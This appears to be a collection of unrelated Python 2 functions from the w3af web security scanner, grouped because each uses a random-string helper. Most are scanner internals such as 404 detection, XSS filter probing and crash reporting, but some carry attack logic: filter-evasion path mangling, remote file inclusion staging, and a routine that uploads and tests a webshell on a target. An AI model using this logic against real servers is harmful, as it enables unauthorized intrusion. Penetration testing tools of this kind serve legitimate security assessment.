def _send_requests( self, fuzzableRequest ): ''' Actually send the requests that might be blocked. @parameter fuzzableRequest: The fuzzableRequest to modify in order to see if it's blocked ''' rnd_param = createRandAlNum(7) rnd_value = createRandAlNum(7) original_url_str = fuzzableRequest.getURL() + '?' + rnd_param + '=' + rnd_value original_url = url_object(original_url_str) try: original_response_body = self._urlOpener.GET( original_url , useCache=True ).getBody() except Exception: msg = 'Active filter detection plugin failed to receive a ' msg += 'response for the first request. Can not perform analysis.' raise w3afException( msg ) else: original_response_body = original_response_body.replace( rnd_param, '' ) original_response_body = original_response_body.replace( rnd_value, '' ) for offending_string in self._get_offending_strings(): offending_URL = fuzzableRequest.getURL() + '?' + rnd_param + '=' + offending_string # Perform requests in different threads targs = (offending_string, offending_URL, original_response_body, rnd_param) self._tm.startFunction( target=self._send_and_analyze, args=targs, ownerObj=self ) # Wait for threads to finish self._tm.join( self ) # Analyze the results return self._filtered, self._not_filtered
def getRemoteTempFile( execMethod ): ''' @return: The name of a file in the remote file system that the user that I'm executing commands with can write, read and execute. The normal responses for this are files in /tmp/ or %TEMP% depending on the remote OS. ''' os = osDetectionExec( execMethod ) if os == 'windows': _filename = apply( execMethod, ('echo %TEMP%',) ).strip() + '\\' _filename += createRandAlNum(6) # verify existance dirRes = apply( execMethod, ('dir '+_filename,) ).strip().lower() if 'not found' in dirRes: # Shit, the file exists, run again and see what we can do return getRemoteTempFile( execMethod ) else: return _filename return _filename elif os == 'linux': _filename = '/tmp/' + createRandAlNum( 6 ) # verify existance lsRes = apply( execMethod, ('ls '+_filename,) ).strip() if _filename == lsRes: # Shit, the file exists, run again and see what we can do return getRemoteTempFile( execMethod ) else: return _filename else: raise w3afException('Failed to create filename for a temporary file in the remote host.')
def _get_allowed_chars(self, mutant): """ These are the special characters that are tested: ['<', '>', '"', "'", '(', ')'] Notice that this doesn't work if the filter also filters by length. The idea of this method is to reduce the amount of tests to be performed, if each char is tested separately the wanted performance enhancement will be lost. @return: A list with the special characters that are allowed by the XSS filter """ # Create a random number and assign it to the mutant # modified parameter rndNum = str(createRandAlNum(2)) oldValue = mutant.getModValue() joined_list = rndNum.join(self._special_characters) list_delimiter = str(createRandAlNum(2)) joined_list = list_delimiter + joined_list + list_delimiter mutant.setModValue(joined_list) # send response = self._uri_opener.send_mutant(mutant) # restore the mutant values mutant.setModValue(oldValue) # Analyze the response allowed = [] body = response.getBody() # Create the regular expression joined_char_regex = rndNum.join([".{0,7}?"] * len(self._special_characters)) joined_re = list_delimiter + joined_char_regex + list_delimiter for match in re.findall(joined_re, body): match_without_lim = match[len(list_delimiter) : -len(list_delimiter)] split_list = match_without_lim.split(rndNum) for char in split_list: if char in self._special_characters: allowed.append(char) allowed = list(set(allowed)) allowed.sort() self._special_characters.sort() disallowed = list(set(self._special_characters) - set(allowed)) if allowed == self._special_characters: om.out.debug("All XSS special characters are allowed: %s" % "".join(allowed)) else: om.out.debug("Allowed XSS special characters: %s" % "".join(allowed)) om.out.debug("Encoded/Removed XSS special characters: %s" % "".join(disallowed)) return allowed
def _mutate( self, data ): ''' Add a random parameter. @param data: A dict-like object. @return: The same object with one new key-value. ''' key = createRandAlNum() value = createRandAlNum() data[key] = value return data
def _mutate( self, data ): ''' Add a random parameter. @return: a string. ''' var = createRandAlNum() value = createRandAlNum() to_append_str = var + "=" + value if data.count('?'): data += '&' + to_append_str else: data += '?' + to_append_str return data
def handle_crash(type, value, tb, plugins=''): '''Function to handle any exception that is not addressed explicitly.''' if issubclass(type, KeyboardInterrupt ): helpers.endThreads() import core.controllers.outputManager as om om.out.console(_('Thanks for using w3af.')) om.out.console(_('Bye!')) sys.exit(0) return exception = traceback.format_exception(type, value, tb) exception = "".join(exception) print exception # save the info to a file filename = tempfile.gettempdir() + os.path.sep + "w3af_crash-" + createRandAlNum(5) + ".txt" arch = file(filename, "w") arch.write(_('Submit this bug here: https://sourceforge.net/apps/trac/w3af/newticket \n')) arch.write(VERSIONS) arch.write(exception) arch.close() # Create the dialog that allows the user to send the bug to sourceforge bug_report_win = bug_report.bug_report_window( _('Bug detected!'), exception, filename, plugins) # Blocks waiting for user interaction bug_report_win.show()
def _gen_url_to_include( self, file_content, extension ): ''' Generate the URL to include, based on the configuration it will return a URL poiting to a XSS bug, or a URL poiting to our local webserver. ''' if self._use_XSS_vuln and self._xss_vuln: url = urlParser.uri2url(self._xss_vuln.getURL()) data_container = self._xss_vuln.getDc() data_container = data_container.copy() data_container[self._xss_vuln.getVar()] = file_content url_to_include = url + '?' + str(data_container) return url_to_include else: # Write the php to the webroot filename = createRandAlNum() try: file_handler = open(os.path.join(get_home_dir(), 'webroot', filename) , 'w') file_handler.write(file_content) file_handler.close() except: raise w3afException('Could not create file in webroot.') else: url_to_include = 'http://' + self._listen_address +':' url_to_include += str(self._listen_port) +'/' + filename return url_to_include
def _generic_vhosts( self, fuzzableRequest ): ''' Test some generic virtual hosts, only do this once. ''' res = [] base_url = fuzzableRequest.getURL().baseUrl() common_vhost_list = self._get_common_virtualhosts(base_url) # Get some responses to compare later original_response = self._urlOpener.GET(base_url, useCache=True) orig_resp_body = original_response.getBody() non_existant = 'iDoNotExistPleaseGoAwayNowOrDie' + createRandAlNum(4) self._non_existant_response = self._urlOpener.GET(base_url, useCache=False, \ headers={'Host': non_existant }) nonexist_resp_body = self._non_existant_response.getBody() for common_vhost in common_vhost_list: try: vhost_response = self._urlOpener.GET( base_url, useCache=False, \ headers={'Host': common_vhost } ) except w3afException: pass else: vhost_resp_body = vhost_response.getBody() # If they are *really* different (not just different by some chars) if relative_distance_lt(vhost_resp_body, orig_resp_body, 0.35) and \ relative_distance_lt(vhost_resp_body, nonexist_resp_body, 0.35): res.append((common_vhost, vhost_response.id)) return res
def _single_404_check(self, http_response, html_body): ''' Performs a very simple check to verify if this response is a 404 or not. It takes the original URL and modifies it by pre-pending a "not-" to the filename, then performs a request to that URL and compares the original response with the modified one. If they are equal then the original request is a 404. @param http_response: The original HTTP response @param html_body: The original HTML body after passing it by a cleaner @return: True if the original response was a 404 ! ''' response_url = http_response.getURL() filename = response_url.getFileName() if not filename: relative_url = '../%s/' % createRandAlNum( 8 ) url_404 = response_url.urlJoin( relative_url ) else: relative_url = 'not-%s' % filename url_404 = response_url.urlJoin( relative_url ) response_404 = self._send_404( url_404, store=False ) clean_response_404_body = get_clean_body(response_404) return relative_distance_ge(clean_response_404_body, html_body, IS_EQUAL_RATIO)
def test_find(self): find_id = random.randint(1, 499) url = url_object('http://w3af.org/a/b/foobar.php?foo=123') tag_value = createRandAlNum(10) for i in xrange(0, 500): fr = FuzzReq(url, dc={'a': ['1']}) code = 200 if i == find_id: code = 302 res = httpResponse(code, '<html>',{'Content-Type':'text/html'}, url, url) h1 = HistoryItem() h1.request = fr res.setId(i) h1.response = res if i == find_id: h1.toggleMark() h1.updateTag(tag_value) h1.save() h2 = HistoryItem() self.assertEqual(len(h2.find([('tag', "%"+tag_value+"%", 'like')])), 1) self.assertEqual(len(h2.find([('code', 302, '=')])), 1) self.assertEqual(len(h2.find([('mark', 1, '=')])), 1) self.assertEqual(len(h2.find([('has_qs', 1, '=')])), 500) self.assertEqual(len(h2.find([('has_qs', 1, '=')], resultLimit=10)), 10) results = h2.find([('has_qs', 1, '=')], resultLimit=1, orderData=[('id','desc')]) self.assertEqual(results[0].id, 499) search_data = [] search_data.append(('id', find_id + 1, "<")) search_data.append(('id', find_id - 1, ">")) self.assertEqual(len(h2.find(search_data)), 1)
def _is_echoed( self, mutant ): ''' Verify if the parameter we are fuzzing is really being echoed back in the HTML response or not. If it isn't echoed there is no chance we are going to find a reflected XSS here. Also please note that I send a random alphanumeric value, and not a numeric value, because even if the number is echoed back (and only numbers are echoed back by the application) that won't be of any use in the XSS detection. @parameter mutant: The request to send. @return: True if variable is echoed ''' # Create a random number and assign it to the mutant modified # parameter rndNum = str( createRandAlNum( 5 ) ) oldValue = mutant.getModValue() mutant.setModValue(rndNum) # send response = self._sendMutant( mutant, analyze=False ) # restore the mutant values mutant.setModValue(oldValue) # Analyze and return response if rndNum in response: om.out.debug('The variable ' + mutant.getVar() + ' is being echoed back.' ) return True else: om.out.debug('The variable ' + mutant.getVar() + ' is NOT being echoed back.' ) return False
def _generate_404_knowledge( self, url ): ''' Based on a URL, request something that we know is going to be a 404. Afterwards analyze the 404's and summarise them. @return: A list with 404 bodies. ''' # Get the filename extension and create a 404 for it extension = urlParser.getExtension( url ) domain_path = urlParser.getDomainPath( url ) # the result self._response_body_list = [] # # This is a list of the most common handlers, in some configurations, the 404 # depends on the handler, so I want to make sure that I catch the 404 for each one # handlers = ['py', 'php', 'asp', 'aspx', 'do', 'jsp', 'rb', 'do', 'gif', 'htm', extension] handlers += ['pl', 'cgi', 'xhtml', 'htmls'] handlers = list(set(handlers)) for extension in handlers: rand_alnum_file = createRandAlNum( 8 ) + '.' + extension url404 = urlParser.urlJoin( domain_path , rand_alnum_file ) # Send the requests using threads: targs = ( url404, ) tm.startFunction( target=self._send_404, args=targs , ownerObj=self ) # Wait for all threads to finish sending the requests. tm.join( self ) # # I have the bodies in self._response_body_list , but maybe they all look the same, so I'll # filter the ones that look alike. # result = [ self._response_body_list[0], ] for i in self._response_body_list: for j in self._response_body_list: if relative_distance_ge(i, j, IS_EQUAL_RATIO): # They are equal, we are ok with that continue else: # They are no equal, this means that we'll have to add this to the list result.append(j) # I don't need these anymore self._response_body_list = None # And I return the ones I need result = list(set(result)) om.out.debug('The 404 body result database has a lenght of ' + str(len(result)) +'.') return result
def create_crash_file(exception): filename = "w3af_crash-" + createRandAlNum(5) + ".txt" filename = os.path.join( gettempdir() , filename ) crash_dump = file(filename, "w") crash_dump.write(_('Submit this bug here: https://sourceforge.net/apps/trac/w3af/newticket \n')) crash_dump.write(VERSIONS) crash_dump.write(exception) crash_dump.close() return filename
def _get_allowed_chars(self, mutant): ''' These are the special characters that are tested: ['<', '>', '"', "'", '(', ')'] I'm aware that this doesn't work if the filter also filters by length. The idea of this method is to reduce the amount of tests to be performed, if I start testing each char separately, I loose that performance enhancement that I want to get. @return: A list with the special characters that are allowed by the XSS filter ''' # Create a random number and assign it to the mutant modified parameter rndNum = str( createRandAlNum( 4 ) ) oldValue = mutant.getModValue() joined_list = rndNum.join(self._special_characters) list_delimiter = str( createRandAlNum( 5 ) ) joined_list = list_delimiter + joined_list + list_delimiter mutant.setModValue(joined_list) # send response = self._sendMutant( mutant, analyze=False ) # restore the mutant values mutant.setModValue(oldValue) # Analyze the response allowed = [] if response.getBody().count(list_delimiter) == 2: start = response.getBody().find(list_delimiter) end = response.getBody().find(list_delimiter, start+1) the_list = response.getBody()[start+len(list_delimiter):end] split_list = the_list.split(rndNum) for i, char in enumerate(split_list): if char == self._special_characters[i]: allowed.append(char) else: raise w3afException('The delimiter was not echoed back!') if allowed == self._special_characters: om.out.debug('All special characters are allowed.') return allowed
def _create_file(self): ''' Create random name file php with random php content. To be used in the remote file inclusion test. ''' # First, generate the php file to be included. rand1 = createRandAlNum(9) rand2 = createRandAlNum(9) filename = createRandAlNum() php_code = '<? \n echo "%s";\n echo "%s";\n ?>' % (rand1, rand2) # Write the php to the webroot file_handler = open(os.path.join(get_home_dir(), 'webroot', filename), 'w') file_handler.write(php_code) file_handler.close() # Define the required parameters self._rfi_url = 'http://' + self._listen_address +':' + str(self._listen_port) self._rfi_url += '/' + filename self._rfi_result = rand1 + rand2
def _PUT(self, domain_path): """ Tests PUT method. """ # upload url = domain_path.urlJoin(createRandAlpha(5)) rndContent = createRandAlNum(6) put_response = self._urlOpener.PUT(url, data=rndContent) # check if uploaded res = self._urlOpener.GET(url, useCache=True) if res.getBody() == rndContent: v = vuln.vuln() v.setPluginName(self.getName()) v.setURL(url) v.setId([put_response.id, res.id]) v.setSeverity(severity.HIGH) v.setName("Insecure DAV configuration") v.setMethod("PUT") msg = 'File upload with HTTP PUT method was found at resource: "' + domain_path + '".' msg += ' A test file was uploaded to: "' + res.getURL() + '".' v.setDesc(msg) kb.kb.append(self, "dav", v) # Report some common errors elif put_response.getCode() == 500: i = info.info() i.setPluginName(self.getName()) i.setURL(url) i.setId(res.id) i.setName("DAV incorrect configuration") i.setMethod("PUT") msg = "DAV seems to be incorrectly configured. The web server answered with a 500" msg += " error code. In most cases, this means that the DAV extension failed in" msg += ' some way. This error was found at: "' + put_response.getURL() + '".' i.setDesc(msg) kb.kb.append(self, "dav", i) # Report some common errors elif put_response.getCode() == 403: i = info.info() i.setPluginName(self.getName()) i.setURL(url) i.setId([put_response.id, res.id]) i.setName("DAV insufficient privileges") i.setMethod("PUT") msg = "DAV seems to be correctly configured and allowing you to use the PUT method" msg += " but the directory does not have the correct permissions that would allow" msg += ' the web server to write to it. This error was found at: "' msg += put_response.getURL() + '".' i.setDesc(msg) kb.kb.append(self, "dav", i)
def _return_without_eval( self, uri ): ''' This method tries to lower the false positives. ''' if not uri.hasQueryString(): return False uri.setFileName( uri.getFileName() + createRandAlNum( 7 ) ) try: response = self._urlOpener.GET( uri, useCache=True, headers=self._headers ) except KeyboardInterrupt,e: raise e
def _get_xss_tests(self): """ Does a select to the DB for a list of XSS strings that will be tested agains the site. @return: A list of tuples with all XSS strings to test and the browsers in which they work. Example: [('<>RANDOMIZE', ['Internet Explorer'])] """ # Used to identify everything that is sent to the web app rnd_value = createRandAlNum(4) return [(x[0].replace("RANDOMIZE", rnd_value), x[1]) for x in xss.XSS_TESTS]
def modifyRequest(self, request ): ''' Mangles the request @parameter request: HTTPRequest instance that is going to be modified by the evasion plugin @return: The modified request >>> from core.data.parsers.urlParser import url_object >>> import re >>> rp = rndPath() >>> u = url_object('http://www.w3af.com/') >>> r = HTTPRequest( u ) >>> url_string = rp.modifyRequest( r ).url_object.url_string >>> re.match('http://www.w3af.com/\w*/../', url_string) is not None True >>> u = url_object('http://www.w3af.com/abc/') >>> r = HTTPRequest( u ) >>> url_string = rp.modifyRequest( r ).url_object.url_string >>> re.match('http://www.w3af.com/\w*/../abc/', url_string) is not None True >>> u = url_object('http://www.w3af.com/abc/def.htm') >>> r = HTTPRequest( u ) >>> url_string = rp.modifyRequest( r ).url_object.url_string >>> re.match('http://www.w3af.com/\w*/../abc/def.htm', url_string) is not None True >>> u = url_object('http://www.w3af.com/abc/def.htm?id=1') >>> r = HTTPRequest( u ) >>> url_string = rp.modifyRequest( r ).url_object.url_string >>> re.match('http://www.w3af.com/\w*/../abc/def.htm\?id=1', url_string) is not None True ''' # We mangle the URL path = request.url_object.getPath() if re.match('^/', path): random_alnum = createRandAlNum() path = '/' + random_alnum + '/..' + path # Finally, we set all the mutants to the request in order to return it new_url = request.url_object.copy() new_url.setPath( path ) # Finally, we set all the mutants to the request in order to return it new_req = HTTPRequest( new_url , request.data, request.headers, request.get_origin_req_host() ) return new_req
def _idFailedLoginPage(self, freq): ''' Generate TWO different response bodies that are the result of failed logins. The first result is for logins with filled user and password fields; the second one is for a filled user and a blank passwd. ''' data_container = freq.getDc() data_container = self._true_extra_fields(data_container) # The first tuple is an invalid username and a password # The second tuple is an invalid username with a blank password tests = [(createRandAlNum(8), createRandAlNum(8)), (createRandAlNum(8), '')] # The result is going to be stored here self._login_failed_result_list = [] for user, passwd in tests: # Setup the data_container # Remember that we can have password only forms! if self._user_field_name is not None: data_container[self._user_field_name][0] = user data_container[self._passwd_field_name][0] = passwd freq.setDc(data_container) response = self._sendMutant(freq, analyze=False, grepResult=False) body = response.getBody() body = body.replace(user, '') body = body.replace(passwd, '') # Save it self._login_failed_result_list.append(body) # Now I perform a self test, before starting with the actual bruteforcing # The first tuple is an invalid username and a password # The second tuple is an invalid username with a blank password tests = [(createRandAlNum(8), createRandAlNum(8)), (createRandAlNum(8), '')] for user, passwd in tests: # Now I do a self test of the result I just created. # Remember that we can have password only forms! if self._user_field_name is not None: data_container[self._user_field_name][0] = user data_container[self._passwd_field_name][0] = passwd freq.setDc(data_container) response = self._sendMutant(freq, analyze=False, grepResult=False) body = response.getBody() body = body.replace(user, '') body = body.replace(passwd, '') if not self._matchesFailedLogin(body): raise w3afException('Failed to generate a response that ' 'matches the failed login page.')
def _get_files( self ): ''' If the extension is in the templates dir, open it and return the handler. If the extension isn't in the templates dir, create a file with random content, open it and return the handler. @return: A list of open files. ''' result = [] # All of this work is done in the "/tmp" directory: for ext in self._extensions: template_filename = 'template.' + ext if template_filename in os.listdir( self._template_dir ): # # Copy to "/tmp" # # Open target temp_dir = get_temp_dir() low_level_fd, file_name = tempfile.mkstemp(prefix='w3af_', suffix='.' + ext, dir=temp_dir) file_handler = os.fdopen(low_level_fd, "w+b") # Read source template_content = file( os.path.join(self._template_dir, template_filename)).read() # Write content to target file_handler.write(template_content) file_handler.close() # Open the target again: try: file_handler = file( file_name, 'r') except: raise w3afException('Failed to open temp file: "' + file_name + '".') else: path, file_name = os.path.split(file_name) result.append( (file_handler, file_name) ) else: # I dont have a template for this file extension! temp_dir = get_temp_dir() low_level_fd, file_name = tempfile.mkstemp(prefix='w3af_', suffix='.' + ext, dir=temp_dir) file_handler = os.fdopen(low_level_fd, "w+b") file_handler.write( createRandAlNum(32) ) file_handler.close() path, file_name = os.path.split(file_name) result.append( (file(file_name), file_name) ) return result
def _return_without_eval( self, parameters, uri ): if urlParser.getDomainPath( uri ) == uri: return False (server, query , expected_response, method , desc) = parameters function_reference = getattr( self._urlOpener , method ) url = urlParser.uri2url( uri ) url += createRandAlNum( 7 ) if urlParser.getQueryString( query ): url = url + '?' + str( urlParser.getQueryString( query ) ) try: response = function_reference( url ) except KeyboardInterrupt,e: raise e
def _return_without_eval(self, uri): ''' This method tries to lower the false positives. ''' if not uri.hasQueryString(): return False uri.setFileName(uri.getFileName() + createRandAlNum(7)) try: response = self._uri_opener.GET( uri, cache=True, headers=self._headers) except w3afException, e: msg = 'An exception was raised while requesting "' + uri + '" , the error message is: ' msg += str(e) om.out.error(msg)
def modifyRequest(self, request ): ''' Mangles the request @parameter request: urllib2.Request instance that is going to be modified by the evasion plugin ''' # We mangle the URL path = urlParser.getPathQs( request.get_full_url() ) if re.match('^/', path): random_alnum = createRandAlNum() path = '/' + random_alnum + '/..' + path # Finally, we set all the mutants to the request in order to return it url = urlParser.getProtocol( request.get_full_url() ) url += '://' + urlParser.getNetLocation( request.get_full_url() ) + path new_req = urllib2.Request( url , request.get_data(), request.headers, request.get_origin_req_host() ) return new_req
def test_tag(self): tag_id = random.randint(501, 999) tag_value = createRandAlNum(10) url = url_object('http://w3af.org/a/b/c.php') for i in xrange(501, 1000): fr = FuzzReq(url, dc={'a': ['1']}) res = httpResponse(200, '<html>',{'Content-Type':'text/html'}, url, url) h1 = HistoryItem() h1.request = fr res.setId(i) h1.response = res if i == tag_id: h1.updateTag(tag_value) h1.save() h2 = HistoryItem() h2.load(tag_id) self.assertEqual(h2.tag, tag_value)
def _get_limit_response( self, m ): ''' We request the limit (something that doesn't exist) - If http://localhost/a.php?b=1 ; then I should request b=12938795 (random number) - If http://localhost/a.php?b=abc ; then I should request b=hnv98yks (random alnum) @return: The limit response object ''' # Copy the dc, needed to make a good vuln report dc = copy.deepcopy(m.getDc()) if m.getOriginalValue().isdigit(): m.setModValue( createRandNum(length=8) ) else: m.setModValue( createRandAlNum(length=8) ) limit_response = self._sendMutant( m , analyze=False ) # restore the dc m.setDc( dc ) return limit_response
def handle_crash(type, value, tb, **data): '''Function to handle any exception that is not addressed explicitly.''' if issubclass(type, KeyboardInterrupt ): helpers.endThreads() import core.controllers.outputManager as om om.out.console(_('Thanks for using w3af.')) om.out.console(_('Bye!')) sys.exit(0) return exception = traceback.format_exception(type, value, tb) exception = "".join(exception) print exception # get version info for python, gtk and pygtk versions = _("\nPython version:\n%s\n\n") % sys.version versions += _("GTK version:%s\n") % ".".join(str(x) for x in gtk.gtk_version) versions += _("PyGTK version:%s\n\n") % ".".join(str(x) for x in gtk.pygtk_version) # get the version info for w3af versions += '\n' + get_w3af_version() # save the info to a file filename = tempfile.gettempdir() + os.path.sep + "w3af_crash-" + createRandAlNum(5) + ".txt" arch = file(filename, "w") arch.write(_('Submit this bug here: https://sourceforge.net/apps/trac/w3af/newticket \n')) arch.write(versions) arch.write(exception) arch.close() # Create the dialog that allows the user to send the bug to sourceforge bug_report_win = bug_report.bug_report_window(_('Bug detected!'), exception, versions, filename, **data) # Blocks waiting for user interaction bug_report_win.show()
def _bruteforce_directories(self, base_path): ''' @parameter base_path: The base path to use in the bruteforcing process, can be something like http://host.tld/ or http://host.tld/images/ . ''' for directory_name in file(self._dir_list): directory_name = directory_name.strip() # ignore comments and empty lines if directory_name and not directory_name.startswith('#'): dir_url = urlParser.urlJoin( base_path , directory_name) dir_url += '/' http_response = self._urlOpener.GET( dir_url, useCache=False ) if not is_404( http_response ): # # Looking fine... but lets see if this is a false positive or not... # dir_url = urlParser.urlJoin( base_path , directory_name + createRandAlNum(5) ) dir_url += '/' invalid_http_response = self._urlOpener.GET( dir_url, useCache=False ) if is_404( invalid_http_response ): # # Good, the directory_name + createRandAlNum(5) return a 404, the original # directory_name is not a false positive. # fuzzable_reqs = self._createFuzzableRequests( http_response ) self._fuzzable_requests.extend( fuzzable_reqs ) msg = 'Directory bruteforcer plugin found directory "' msg += http_response.getURL() + '"' msg += ' with HTTP response code ' + str(http_response.getCode()) msg += ' and Content-Length: ' + str(len(http_response.getBody())) msg += '.' om.out.information( msg )
def _parse( self, line ): ''' This method parses a line from the database file @ return: A a list of tuples where each tuple has the following data 1. server 2. query 3. expected_response 4. method 5. desc ''' splitted_line = line.split('","') server = splitted_line[0].replace('"','') original_query = splitted_line[1].replace('"','') expected_response = splitted_line[2].replace('"','') method = splitted_line[3].replace('"','').upper() desc = splitted_line[4].replace('"','') desc = desc.replace('\\n', '') desc = desc.replace('\\r', '') if original_query.count(' '): return [] else: # Now i should replace the @CGIDIRS variable with the user settings # The same goes for every @* variable. to_send = [] to_send.append ( (server, original_query, expected_response, method , desc) ) to_mutate = [] to_mutate.append( original_query ) if original_query.count( '@CGIDIRS' ): for cgiDir in self._cgi_dirs: query2 = original_query.replace('@CGIDIRS' , cgiDir ) to_send.append ( (server, query2, expected_response, method , desc) ) to_mutate.append( query2 ) to_mutate.remove( original_query ) to_send.remove ( (server, original_query, expected_response, method , desc) ) to_mutate2 = [] for query in to_mutate: res = re.findall( 'JUNK\((.*?)\)', query ) if res: query2 = re.sub( 'JUNK\((.*?)\)', createRandAlNum( int(res[0]) ), query ) to_send.append ( (server, query2, expected_response, method , desc) ) to_mutate2.append( query2 ) to_send.remove ( (server, query, expected_response, method , desc) ) to_mutate.remove( query ) to_mutate.extend( to_mutate2 ) to_mutate2 = [] for query in to_mutate: if query.count( '@ADMINDIRS' ): for adminDir in self._admin_dirs: query2 = query.replace('@ADMINDIRS' , adminDir ) to_send.append ( (server, query2, expected_response, method , desc) ) to_mutate2.append( query2 ) to_mutate.remove( query ) to_send.remove ( (server, query, expected_response, method , desc) ) to_mutate.extend( to_mutate2 ) to_mutate2 = [] for query in to_mutate: if query.count( '@NUKE' ): for nuke in self._nuke: query2 = query.replace('@NUKE' , nuke ) to_send.append ( (server, query2, expected_response, method , desc) ) to_mutate2.append( query2 ) to_mutate.remove( query ) to_send.remove ( (server, query, expected_response, method , desc) ) to_mutate.extend( to_mutate2 ) for query in to_mutate: if query.count( '@USERS' ): for user in self._users: query2 = query.replace('@USERS' , user ) to_send.append ( (server, query2, expected_response, method , desc) ) to_mutate.remove( query ) to_send.remove ( (server, query, expected_response, method , desc) ) return to_send
def _upload_webshell(self, driver, vuln_obj): ''' First, upload any file to the target webroot. Once I've found the target webroot (or any other location inside the webroot where I can write a file) try to upload a webshell and test for execution. @parameter driver: The database driver to use in order to upload the file. @parameter vuln_obj: The vulnerability that we are exploiting. @return: The webshell URL if the webshell was uploaded, or None if the process failed. ''' upload_success = False # First, we test if we can upload a file into a directory we can access: webroot_dirs = get_webroot_dirs( urlParser.getDomain(vuln_obj.getURL()) ) for webroot in webroot_dirs: if upload_success: break # w3af found a lot of directories, and we are going to use that knowledgeBase # because one of the dirs may be writable and one may not! for path in self._get_site_directories(): # Create the remote_path remote_path = webroot + '/' + path # Create the filename remote_filename = createRandAlNum( 8 ) + '.' + createRandAlNum(3) remote_path += '/' + remote_filename # And just in case... remove double slashes for i in xrange(3): remote_path = remote_path.replace('//', '/') # Create the content (which will also act as the test_string) test_string = content = createRandAlNum(16) # Create the test URL test_url = urlParser.urlJoin(vuln_obj.getURL(), path + '/' + remote_filename ) if self._upload_file( driver, remote_path, content, test_url, test_string): upload_success = True om.out.console('Successfully wrote a file to the webroot.') break # We can upload files, and we know where they are uploaded, now we # just need to upload a webshell that works in that environment! if upload_success: om.out.console('Trying to write a webshell.') # Get the extension from the vulnerable script extension = urlParser.getExtension( vuln_obj.getURL() ) for file_content, real_extension in shell_handler.get_webshells( extension ): # Create the variables to upload the file, based on the success of the # previous for loop: remote_path = remote_path[:remote_path.rfind('/')] filename = createRandAlNum( 8 ) remote_path += '/' + filename + '.' + real_extension # And now do "the same thing" with the URL test_url = test_url[:test_url.rfind('/')] test_url += '/' + filename + '.' + real_extension + '?cmd=' # Upload & test if self._upload_file( driver, remote_path, file_content, test_url, shell_handler.SHELL_IDENTIFIER): # Complete success! om.out.console('Successfully installed a webshell in the target server!') return test_url return None